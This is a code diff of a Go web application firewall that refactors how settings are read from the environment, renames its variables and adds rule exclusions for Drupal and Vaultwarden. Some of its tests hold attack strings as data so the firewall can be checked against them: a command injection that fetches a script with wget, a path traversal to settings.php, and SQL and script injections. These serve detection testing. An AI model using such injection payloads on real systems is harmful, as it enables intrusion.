_, err := config.FromEnvironment(environment{logRequestHeaders: value}.lookupEnv)
|
||||
if err == nil || err.Error() != logRequestHeaders+": "+want {
|
||||
t.Errorf("error %v, want %s: %s", err, logRequestHeaders, want)
|
||||
}
|
||||
@@ -2358,7 +2356,7 @@ func TestShortTokenStopsTheStartWithoutShowingIt(t *testing.T) {
|
||||
t.Run(name+"="+value, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
_, err := config.FromEnvironment(environment{name: value}.viper())
|
||||
_, err := config.FromEnvironment(environment{name: value}.lookupEnv)
|
||||
|
||||
want := name + ": is shorter than 32 characters"
|
||||
if err == nil || err.Error() != want {
|
||||
@@ -2414,7 +2412,7 @@ func TestSettingFromFileIsCheckedAsTheSettingItself(t *testing.T) {
|
||||
|
||||
_, err := config.FromEnvironment(environment{
|
||||
bytesLimitPerMinute + "_FILE": writeFile(t, "lots\n"),
|
||||
}.viper())
|
||||
}.lookupEnv)
|
||||
|
||||
want := bytesLimitPerMinute + `: "lots" is not a size such as 512K, 100M or 5G, or off`
|
||||
if err == nil || err.Error() != want {
|
||||
@@ -2425,7 +2423,7 @@ func TestSettingFromFileIsCheckedAsTheSettingItself(t *testing.T) {
|
||||
logRemoteURL: remoteURL,
|
||||
instanceName: instance,
|
||||
logRemoteAppName + "_FILE": writeFile(t, "my app\n"),
|
||||
}.viper())
|
||||
}.lookupEnv)
|
||||
|
||||
want = logRemoteAppName + `: "my app" is not 1 to 48 printable ASCII ` +
|
||||
`characters without a space, such as blog`
|
||||
@@ -2440,7 +2438,7 @@ func TestSettingAndItsFileBothSetStopsTheStart(t *testing.T) {
|
||||
_, err := config.FromEnvironment(environment{
|
||||
metricsToken: token,
|
||||
metricsToken + "_FILE": writeFile(t, token),
|
||||
}.viper())
|
||||
}.lookupEnv)
|
||||
|
||||
want := metricsToken + ": is set, and so is " + metricsToken +
|
||||
"_FILE; set only one of them"
|
||||
@@ -2455,7 +2453,7 @@ func TestUnreadableSettingFileStopsTheStart(t *testing.T) {
|
||||
dir := t.TempDir()
|
||||
|
||||
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
|
||||
_, err := config.FromEnvironment(environment{metricsToken + "_FILE": path}.viper())
|
||||
_, err := config.FromEnvironment(environment{metricsToken + "_FILE": path}.lookupEnv)
|
||||
|
||||
want := metricsToken + "_FILE: cannot be read: "
|
||||
if err == nil || !strings.HasPrefix(err.Error(), want) {
|
||||
|
||||
@@ -1,16 +0,0 @@
|
||||
// Package configtest gives the tests of the packages that read settings the
|
||||
// settings they choose.
|
||||
package configtest
|
||||
|
||||
import "github.com/spf13/viper"
|
||||
|
||||
// Viper returns a viper holding each of settings, as the viper config.NewViper
|
||||
// returns holds a process's environment.
|
||||
func Viper(settings map[string]string) *viper.Viper {
|
||||
v := viper.New()
|
||||
for name, value := range settings {
|
||||
v.Set(name, value)
|
||||
}
|
||||
|
||||
return v
|
||||
}
|
||||
+48
-37
@@ -8,39 +8,38 @@ import (
|
||||
"net/netip"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/spf13/viper"
|
||||
)
|
||||
|
||||
// RProxy is the settings of `sww rproxy`. A size or time limit of zero
|
||||
// is off.
|
||||
type RProxy struct {
|
||||
// ListenAddr is where rproxy listens (SWW_RPROXY_LISTEN_ADDR).
|
||||
// ListenAddr is where rproxy listens (SWRP_LISTEN_ADDR).
|
||||
ListenAddr string
|
||||
// UpstreamURL is the app (SWW_RPROXY_UPSTREAM_URL).
|
||||
// UpstreamURL is the app (SWRP_UPSTREAM_URL).
|
||||
UpstreamURL *url.URL
|
||||
// TrustedProxies are the netblocks whose X-Forwarded-For is believed
|
||||
// (SWW_RPROXY_TRUSTED_PROXIES).
|
||||
// (SWRP_TRUSTED_PROXIES).
|
||||
TrustedProxies []netip.Prefix
|
||||
// WAFBackend is discriminator's URL (SWW_RPROXY_WAF_BACKEND).
|
||||
// WAFBackend is discriminator's URL (SWRP_WAF_BACKEND).
|
||||
WAFBackend *url.URL
|
||||
// Timeout is how long rproxy waits for discriminator's answer to a question,
|
||||
// and to a report (SWW_RPROXY_TIMEOUT_MS). It cannot be off.
|
||||
// and to a report (SWRP_TIMEOUT_MS). It cannot be off.
|
||||
Timeout time.Duration
|
||||
// DefaultDisposition is what is done with a request when discriminator cannot be
|
||||
// connected to, does not answer at all, or does not answer within Timeout:
|
||||
// allow or deny (SWW_RPROXY_DEFAULT_DISPOSITION).
|
||||
// allow or deny (SWRP_DEFAULT_DISPOSITION).
|
||||
DefaultDisposition string
|
||||
// MaxRequestSize is the largest request body (SWW_RPROXY_MAX_REQUEST_SIZE), and
|
||||
// MaxResponseSize the largest response body (SWW_RPROXY_MAX_RESPONSE_SIZE).
|
||||
// MaxRequestSize is the largest request body (SWRP_MAX_REQUEST_SIZE), and
|
||||
// MaxResponseSize the largest response body (SWRP_MAX_RESPONSE_SIZE).
|
||||
MaxRequestSize int64
|
||||
MaxResponseSize int64
|
||||
// MaxRequestTime bounds sending the whole request: the visitor's request
|
||||
// line and headers, and then, from their end, its body on its way to the
|
||||
// app (SWW_RPROXY_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from
|
||||
// app (SWRP_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from
|
||||
// the end of the request to its last byte reaching the visitor
|
||||
// (SWW_RPROXY_MAX_RESPONSE_TIME_MS).
|
||||
// (SWRP_MAX_RESPONSE_TIME_MS).
|
||||
MaxRequestTime time.Duration
|
||||
MaxResponseTime time.Duration
|
||||
|
||||
@@ -59,26 +58,24 @@ var (
|
||||
"is not a whole number of milliseconds above zero, such as 60000, or off")
|
||||
)
|
||||
|
||||
// RProxyFromEnvironment reads rproxy's settings through v, normally the viper
|
||||
// NewViper returns, bound to the process's environment. A setting that is not
|
||||
// set takes its default, and SWW_RPROXY_WAF_BACKEND, which has none, must be
|
||||
// set. A setting may instead be given as a file: the variable named by the
|
||||
// setting's name with _FILE added names the file, which is read now. A setting
|
||||
// that is set but invalid is an error that names it.
|
||||
func RProxyFromEnvironment(v *viper.Viper) (*RProxy, error) {
|
||||
env := &environment{v: v}
|
||||
// RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally
|
||||
// os.LookupEnv. A setting that is not set takes its default, and
|
||||
// SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but
|
||||
// invalid is an error that names it. Since rproxy never touches disk, its
|
||||
// settings have no _FILE form.
|
||||
func RProxyFromEnvironment(lookupEnv func(string) (string, bool)) (*RProxy, error) {
|
||||
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
|
||||
cfg := &RProxy{
|
||||
ListenAddr: env.address("SWW_RPROXY_LISTEN_ADDR"),
|
||||
UpstreamURL: env.appURL("SWW_RPROXY_UPSTREAM_URL", defaultUpstreamURL),
|
||||
TrustedProxies: env.netblocks("SWW_RPROXY_TRUSTED_PROXIES", privateRanges),
|
||||
WAFBackend: env.wafBackend("SWW_RPROXY_WAF_BACKEND"),
|
||||
Timeout: env.milliseconds("SWW_RPROXY_TIMEOUT_MS", "2000"),
|
||||
DefaultDisposition: env.disposition("SWW_RPROXY_DEFAULT_DISPOSITION", "allow"),
|
||||
MaxRequestSize: env.size("SWW_RPROXY_MAX_REQUEST_SIZE", "100M"),
|
||||
MaxResponseSize: env.size("SWW_RPROXY_MAX_RESPONSE_SIZE", "1G"),
|
||||
MaxRequestTime: env.millisecondsOrOff("SWW_RPROXY_MAX_REQUEST_TIME_MS", "60000"),
|
||||
MaxResponseTime: env.millisecondsOrOff(
|
||||
"SWW_RPROXY_MAX_RESPONSE_TIME_MS", "1800000"),
|
||||
ListenAddr: env.address("SWRP_LISTEN_ADDR"),
|
||||
UpstreamURL: env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL),
|
||||
TrustedProxies: env.netblocks("SWRP_TRUSTED_PROXIES", privateRanges),
|
||||
WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"),
|
||||
Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
|
||||
DefaultDisposition: env.disposition("SWRP_DEFAULT_DISPOSITION", "allow"),
|
||||
MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
|
||||
MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
|
||||
MaxRequestTime: env.millisecondsOrOff("SWRP_MAX_REQUEST_TIME_MS", "60000"),
|
||||
MaxResponseTime: env.millisecondsOrOff("SWRP_MAX_RESPONSE_TIME_MS", "1800000"),
|
||||
}
|
||||
|
||||
if env.err != nil {
|
||||
@@ -90,15 +87,15 @@ func RProxyFromEnvironment(v *viper.Viper) (*RProxy, error) {
|
||||
return cfg, nil
|
||||
}
|
||||
|
||||
// RProxyListenAddrAndUpstreamURL reads only SWW_RPROXY_LISTEN_ADDR and
|
||||
// SWW_RPROXY_UPSTREAM_URL. The health check in rproxy's container needs no other
|
||||
// RProxyListenAddrAndUpstreamURL reads only SWRP_LISTEN_ADDR and
|
||||
// SWRP_UPSTREAM_URL. The health check in rproxy's container needs no other
|
||||
// setting, so it reads no other.
|
||||
func RProxyListenAddrAndUpstreamURL(
|
||||
v *viper.Viper,
|
||||
lookupEnv func(string) (string, bool),
|
||||
) (string, *url.URL, error) {
|
||||
env := &environment{v: v}
|
||||
listenAddr := env.address("SWW_RPROXY_LISTEN_ADDR")
|
||||
upstreamURL := env.appURL("SWW_RPROXY_UPSTREAM_URL", defaultUpstreamURL)
|
||||
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
|
||||
listenAddr := env.address("SWRP_LISTEN_ADDR")
|
||||
upstreamURL := env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL)
|
||||
|
||||
if env.err != nil {
|
||||
return "", nil, env.err
|
||||
@@ -107,6 +104,20 @@ func RProxyListenAddrAndUpstreamURL(
|
||||
return listenAddr, upstreamURL, nil
|
||||
}
|
||||
|
||||
// withoutFileForms returns lookupEnv finding no setting named with _FILE, since
|
||||
// rproxy never touches disk.
|
||||
func withoutFileForms(
|
||||
lookupEnv func(string) (string, bool),
|
||||
) func(string) (string, bool) {
|
||||
return func(name string) (string, bool) {
|
||||
if strings.HasSuffix(name, "_FILE") {
|
||||
return "", false
|
||||
}
|
||||
|
||||
return lookupEnv(name)
|
||||
}
|
||||
}
|
||||
|
||||
// LogValue makes an RProxy log as each setting's name with the value it was
|
||||
// given, or its default.
|
||||
func (c *RProxy) LogValue() slog.Value {
|
||||
|
||||
@@ -10,21 +10,20 @@ import (
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
|
||||
)
|
||||
|
||||
// rproxy's settings, by name, and their values in these tests.
|
||||
const (
|
||||
wafBackend = "SWW_RPROXY_WAF_BACKEND"
|
||||
rproxyTimeout = "SWW_RPROXY_TIMEOUT_MS"
|
||||
rproxyDefault = "SWW_RPROXY_DEFAULT_DISPOSITION"
|
||||
rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
|
||||
rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
|
||||
rproxyTrusted = "SWW_RPROXY_TRUSTED_PROXIES"
|
||||
rproxyMaxRequest = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
||||
rproxyMaxResponse = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
||||
rproxyRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
||||
rproxyAnswerTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
||||
wafBackend = "SWRP_WAF_BACKEND"
|
||||
rproxyTimeout = "SWRP_TIMEOUT_MS"
|
||||
rproxyDefault = "SWRP_DEFAULT_DISPOSITION"
|
||||
rproxyListen = "SWRP_LISTEN_ADDR"
|
||||
rproxyUpstream = "SWRP_UPSTREAM_URL"
|
||||
rproxyTrusted = "SWRP_TRUSTED_PROXIES"
|
||||
rproxyMaxRequest = "SWRP_MAX_REQUEST_SIZE"
|
||||
rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE"
|
||||
rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
|
||||
rproxyAnswerTime = "SWRP_MAX_RESPONSE_TIME_MS"
|
||||
backendURL = "http://discriminator:8080"
|
||||
rproxyDefaultAddr = ":8080"
|
||||
rproxyDefaultApp = "http://127.0.0.1:8081"
|
||||
@@ -33,7 +32,11 @@ const (
|
||||
|
||||
// rproxyConfig reads rproxy's settings from env.
|
||||
func rproxyConfig(env map[string]string) (*config.RProxy, error) {
|
||||
return config.RProxyFromEnvironment(configtest.Viper(env))
|
||||
return config.RProxyFromEnvironment(func(name string) (string, bool) {
|
||||
value, ok := env[name]
|
||||
|
||||
return value, ok
|
||||
})
|
||||
}
|
||||
|
||||
func TestRProxyDefaults(t *testing.T) {
|
||||
@@ -174,41 +177,31 @@ func TestRProxyNeedsItsBackend(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestRProxySettingReadFromFile(t *testing.T) {
|
||||
func TestRProxyReadsNoFile(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
path := filepath.Join(t.TempDir(), "backend")
|
||||
|
||||
err := os.WriteFile(path, []byte(backendURL+"\n"), 0o600)
|
||||
err := os.WriteFile(path, []byte("http://from-a-file:8080\n"), 0o600)
|
||||
if err != nil {
|
||||
t.Fatalf("write: %v", err)
|
||||
}
|
||||
|
||||
cfg, err := rproxyConfig(map[string]string{wafBackend + "_FILE": path})
|
||||
_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path})
|
||||
if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
|
||||
t.Errorf("error %v, want %s still required", err, wafBackend)
|
||||
}
|
||||
|
||||
cfg, err := rproxyConfig(map[string]string{
|
||||
wafBackend: backendURL,
|
||||
rproxyTimeout + "_FILE": "/nonexistent/timeout",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("settings: %v", err)
|
||||
t.Fatalf("settings: %v, with the file left unread", err)
|
||||
}
|
||||
|
||||
if cfg.WAFBackend.String() != backendURL {
|
||||
t.Errorf("backend %v, want %s", cfg.WAFBackend, backendURL)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRProxyUnreadableSettingFileStopsTheStart(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
dir := t.TempDir()
|
||||
|
||||
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
|
||||
_, err := rproxyConfig(map[string]string{
|
||||
wafBackend: backendURL,
|
||||
rproxyTimeout + "_FILE": path,
|
||||
})
|
||||
|
||||
want := rproxyTimeout + "_FILE: cannot be read: "
|
||||
if err == nil || !strings.HasPrefix(err.Error(), want) {
|
||||
t.Errorf("%s: error %v, want one starting %s", path, err, want)
|
||||
}
|
||||
if cfg.Timeout != 2*time.Second {
|
||||
t.Errorf("timeout %v, want the default", cfg.Timeout)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,16 +0,0 @@
|
||||
package config
|
||||
|
||||
import "github.com/spf13/viper"
|
||||
|
||||
// NewViper returns the viper that reads the settings: each setting's
|
||||
// environment variable, bound to its own name. Every setting of discriminator
|
||||
// and rproxy is read through it, and none is read with os.Getenv or
|
||||
// os.LookupEnv outside it. An environment variable that is set but empty is
|
||||
// set, as one that holds a value is, which viper does not take for granted.
|
||||
func NewViper() *viper.Viper {
|
||||
v := viper.New()
|
||||
v.AutomaticEnv()
|
||||
v.AllowEmptyEnv(true)
|
||||
|
||||
return v
|
||||
}
|
||||
@@ -1,34 +0,0 @@
|
||||
package config_test
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||
)
|
||||
|
||||
// These tests set real environment variables, so none runs in parallel.
|
||||
|
||||
func TestTokenSetEmptyInTheEnvironmentStopsTheStart(t *testing.T) {
|
||||
t.Setenv(adminToken, "")
|
||||
|
||||
_, err := config.FromEnvironment(config.NewViper())
|
||||
|
||||
want := adminToken + ": is shorter than 32 characters"
|
||||
if err == nil || err.Error() != want {
|
||||
t.Fatalf("error %v, want %s", err, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestListSetEmptyInTheEnvironmentReplacesItsDefault(t *testing.T) {
|
||||
t.Setenv(wafBackend, backendURL)
|
||||
t.Setenv(rproxyTrusted, "")
|
||||
|
||||
cfg, err := config.RProxyFromEnvironment(config.NewViper())
|
||||
if err != nil {
|
||||
t.Fatalf("settings: %v", err)
|
||||
}
|
||||
|
||||
if len(cfg.TrustedProxies) != 0 {
|
||||
t.Errorf("trusted proxies %v, want none", cfg.TrustedProxies)
|
||||
}
|
||||
}
|
||||
@@ -1,7 +1,7 @@
|
||||
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
||||
// method, the URL with its query and the headers of a request, and on its
|
||||
// body while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, with the eleven changes sww
|
||||
// makes to it and the exclusions in SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as
|
||||
// body while SWW_WAF_BODY_LIMIT is set, with the twelve changes sww
|
||||
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
|
||||
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
|
||||
// response.
|
||||
//
|
||||
@@ -32,17 +32,18 @@ import (
|
||||
|
||||
// directives are the Core Rule Set as sww runs it, with the
|
||||
// paranoia level for %d, bodyDirectives for the first %s while
|
||||
// SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, the exclusions file for the second,
|
||||
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
|
||||
// giteaExclusions for the third, wordpressExclusions for the fourth,
|
||||
// drupalExclusions for the fifth, and mediawikiExclusions for the sixth.
|
||||
// drupalExclusions for the fifth, mediawikiExclusions for the sixth, and
|
||||
// vaultwardenExclusions for the seventh.
|
||||
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
||||
// Core Rule Set keeps for the rules that set it up, which
|
||||
// SWW_WAF_CORE_RULE_SET_DISABLED_RULES and the exclusions file refuse, so that no
|
||||
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
||||
// setting switches one off. Coraza joins a line ending in \ to the next,
|
||||
// without the spaces at the start of the next.
|
||||
const directives = `
|
||||
# The engine only detects. sww compares the request's anomaly
|
||||
# score with SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD itself, in block and detect mode
|
||||
# score with SWW_WAF_ANOMALY_THRESHOLD itself, in block and detect mode
|
||||
# alike. It reads no body, unless bodyDirectives switch that on.
|
||||
SecRuleEngine DetectionOnly
|
||||
SecRequestBodyAccess Off
|
||||
@@ -91,7 +92,10 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
|
||||
# So does the tenth.
|
||||
%s
|
||||
|
||||
# And the eleventh.
|
||||
# So does the eleventh.
|
||||
%s
|
||||
|
||||
# And the twelfth.
|
||||
%s
|
||||
|
||||
# The sixth: only the rules for requests are loaded, and no response is
|
||||
@@ -206,6 +210,13 @@ var drupalExclusions string
|
||||
//go:embed mediawiki.conf
|
||||
var mediawikiExclusions string
|
||||
|
||||
// vaultwardenExclusions are the twelfth change: the fields of Vaultwarden's
|
||||
// own requests that skip the rules that refused them there, as Coraza
|
||||
// directives.
|
||||
//
|
||||
//go:embed vaultwarden.conf
|
||||
var vaultwardenExclusions string
|
||||
|
||||
// cookiesNotRead are the cookies the Core Rule Set reads a request
|
||||
// without, the rest of the fifth change.
|
||||
//
|
||||
@@ -214,16 +225,16 @@ var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
|
||||
|
||||
// Params are what New needs.
|
||||
type Params struct {
|
||||
// ParanoiaLevel is SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL, from 1 to 4.
|
||||
// ParanoiaLevel is SWW_WAF_PARANOIA_LEVEL, from 1 to 4.
|
||||
ParanoiaLevel int
|
||||
// DisabledRules are the ids of the rules switched off
|
||||
// (SWW_WAF_CORE_RULE_SET_DISABLED_RULES).
|
||||
// (SWW_WAF_DISABLED_RULES).
|
||||
DisabledRules []int
|
||||
// BodyLimit is the most of a request body the Core Rule Set reads
|
||||
// (SWW_WAF_CORE_RULE_SET_BODY_LIMIT), 0 while it is off and it reads none.
|
||||
// (SWW_WAF_BODY_LIMIT), 0 while it is off and it reads none.
|
||||
BodyLimit int64
|
||||
// ExclusionsFile is the path of a file of exclusions loaded before the
|
||||
// Core Rule Set's rules (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
||||
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
||||
// there is none.
|
||||
ExclusionsFile string
|
||||
}
|
||||
@@ -249,7 +260,7 @@ var errSwwRuleID = errors.New("an id of sww's own rules")
|
||||
// SecRuleRemoveById. The Core Rule Set's rules load after the file, so
|
||||
// the directive finds none of them.
|
||||
var errChangesNoRule = errors.New("the Core Rule Set's rules load after the file; " +
|
||||
"switch a rule off with SWW_WAF_CORE_RULE_SET_DISABLED_RULES, or on some requests " +
|
||||
"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
|
||||
"with a ctl exclusion")
|
||||
|
||||
// directivesIn returns the directives in text as Coraza reads them: it
|
||||
@@ -319,7 +330,7 @@ type CoreRuleSet struct {
|
||||
bodyLimit int64
|
||||
}
|
||||
|
||||
// New returns the Core Rule Set with the eleven changes, at params'
|
||||
// New returns the Core Rule Set with the twelve changes, at params'
|
||||
// paranoia level, without the rules it switches off, reading request
|
||||
// bodies up to params' limit, and with params' exclusions file loaded
|
||||
// before the Core Rule Set's rules. An exclusions file is an error if it
|
||||
@@ -348,7 +359,7 @@ func New(params Params) (*CoreRuleSet, error) {
|
||||
|
||||
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
|
||||
giteaExclusions, wordpressExclusions, drupalExclusions,
|
||||
mediawikiExclusions)
|
||||
mediawikiExclusions, vaultwardenExclusions)
|
||||
|
||||
if len(params.DisabledRules) > 0 {
|
||||
ids := make([]string, len(params.DisabledRules))
|
||||
@@ -436,7 +447,7 @@ func (c *CoreRuleSet) Inspect(
|
||||
}
|
||||
|
||||
// readBody reads body, the body of the request in tx, which has run on
|
||||
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set and the body is
|
||||
// the request's headers, while SWW_WAF_BODY_LIMIT is set and the body is
|
||||
// of a kind the Core Rule Set reads: form data and multipart, of which it
|
||||
// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
|
||||
// when they are no longer than that, since they cannot be read in part.
|
||||
|
||||
@@ -19,7 +19,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
)
|
||||
|
||||
// defaultDisabledRules are the rules SWW_WAF_CORE_RULE_SET_DISABLED_RULES switches off
|
||||
// defaultDisabledRules are the rules SWW_WAF_DISABLED_RULES switches off
|
||||
// by default.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
@@ -202,7 +202,7 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
}
|
||||
|
||||
// wantChange checks that crs lets through passes, a request one of the
|
||||
// eleven changes is for, and still finds result in refused, a request like
|
||||
// twelve changes is for, and still finds result in refused, a request like
|
||||
// it that the change is not for.
|
||||
func wantChange(
|
||||
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
|
||||
@@ -624,7 +624,7 @@ var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
|
||||
func wantRecordedRequestsPass(t *testing.T, name string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||
|
||||
@@ -651,7 +651,7 @@ func wantRecordedRequestsPass(t *testing.T, name string) {
|
||||
func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
@@ -674,6 +674,33 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// gitea has no owner named api, so these are not a repository's search,
|
||||
// issues or pull requests. /api/v2/search is Mastodon's search.
|
||||
for _, path := range []string{
|
||||
"/api/v2/search",
|
||||
"/api/v2/issues",
|
||||
"/api/v2/pulls",
|
||||
} {
|
||||
for _, attack := range []string{
|
||||
sqlInjection,
|
||||
scriptInjection,
|
||||
"%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh",
|
||||
} {
|
||||
target := path + "?q=" + attack
|
||||
if got := inspect(t, crs, get(target)); got.Score < threshold {
|
||||
t.Errorf("%s let through: %+v", target, got)
|
||||
}
|
||||
}
|
||||
|
||||
// Nor is a page opened from them.
|
||||
for _, attack := range []string{scriptTag, injection} {
|
||||
referer := "Referer: https://example.com" + path + "?q=" + attack
|
||||
if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
|
||||
t.Errorf("%s let through: %+v", referer, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// WordPress's paths: signing in, posting a comment, admin-ajax.php, and the
|
||||
@@ -727,7 +754,7 @@ func recordedRequests(t *testing.T, name string) []recordedRequest {
|
||||
}
|
||||
|
||||
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
|
||||
// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_LIMIT.
|
||||
// but reading bodies up to the largest SWW_WAF_BODY_LIMIT.
|
||||
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
t.Helper()
|
||||
|
||||
@@ -794,7 +821,7 @@ func wordpressAttackTargets(attack string) []string {
|
||||
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
||||
|
||||
@@ -1343,7 +1370,7 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
||||
wantBody(t, crs, signIn, body, matched(930120), body)
|
||||
}
|
||||
|
||||
// bodyLimit is SWW_WAF_CORE_RULE_SET_BODY_LIMIT in the tests that read bodies.
|
||||
// bodyLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies.
|
||||
const bodyLimit = 8 << 10
|
||||
|
||||
// The Content-Type headers of the kinds of body the Core Rule Set reads.
|
||||
|
||||
@@ -4,10 +4,10 @@
|
||||
# request, before the rules it switches off, so this file is loaded before the
|
||||
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
||||
# exclusion on a field of a body applies only when the query has no parameter
|
||||
# of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is
|
||||
# set. The exclusions above the comment "The fields below are in bodies" also
|
||||
# cover a body field of the same name whatever the query holds, and only those
|
||||
# below it need a query without that name.
|
||||
# of that name, so it matters only while SWW_WAF_BODY_LIMIT is set. The
|
||||
# exclusions above the comment "The fields below are in bodies" also cover a
|
||||
# body field of the same name whatever the query holds, and only those below it
|
||||
# need a query without that name.
|
||||
#
|
||||
# Each path may start with a language prefix, such as /fr in
|
||||
# /fr/admin/content. The prefix is two or three letters, then optionally a
|
||||
@@ -228,3 +228,12 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:json.name,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:json.name,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:json.name"
|
||||
|
||||
# The same reset may name the account by its address in the JSON field mail:
|
||||
# POST /user/password?_format=json with a mail of python3@example.com. An
|
||||
# address skips only the two rules the recorded addresses set off.
|
||||
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
|
||||
"id:900818,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:json.mail "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
|
||||
@@ -7,7 +7,7 @@ import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
// drupalThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
||||
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
const drupalThreshold = 5
|
||||
|
||||
// drupalAddArticle is Drupal's form for a new article.
|
||||
@@ -182,13 +182,33 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
||||
scriptTag,
|
||||
`; wget http://example.com/x.sh`,
|
||||
`../../sites/default/settings.php`,
|
||||
} {
|
||||
for _, field := range []string{"name", "mail"} {
|
||||
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
||||
body := `{"` + field + `":"` + attack + `"}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score < drupalThreshold {
|
||||
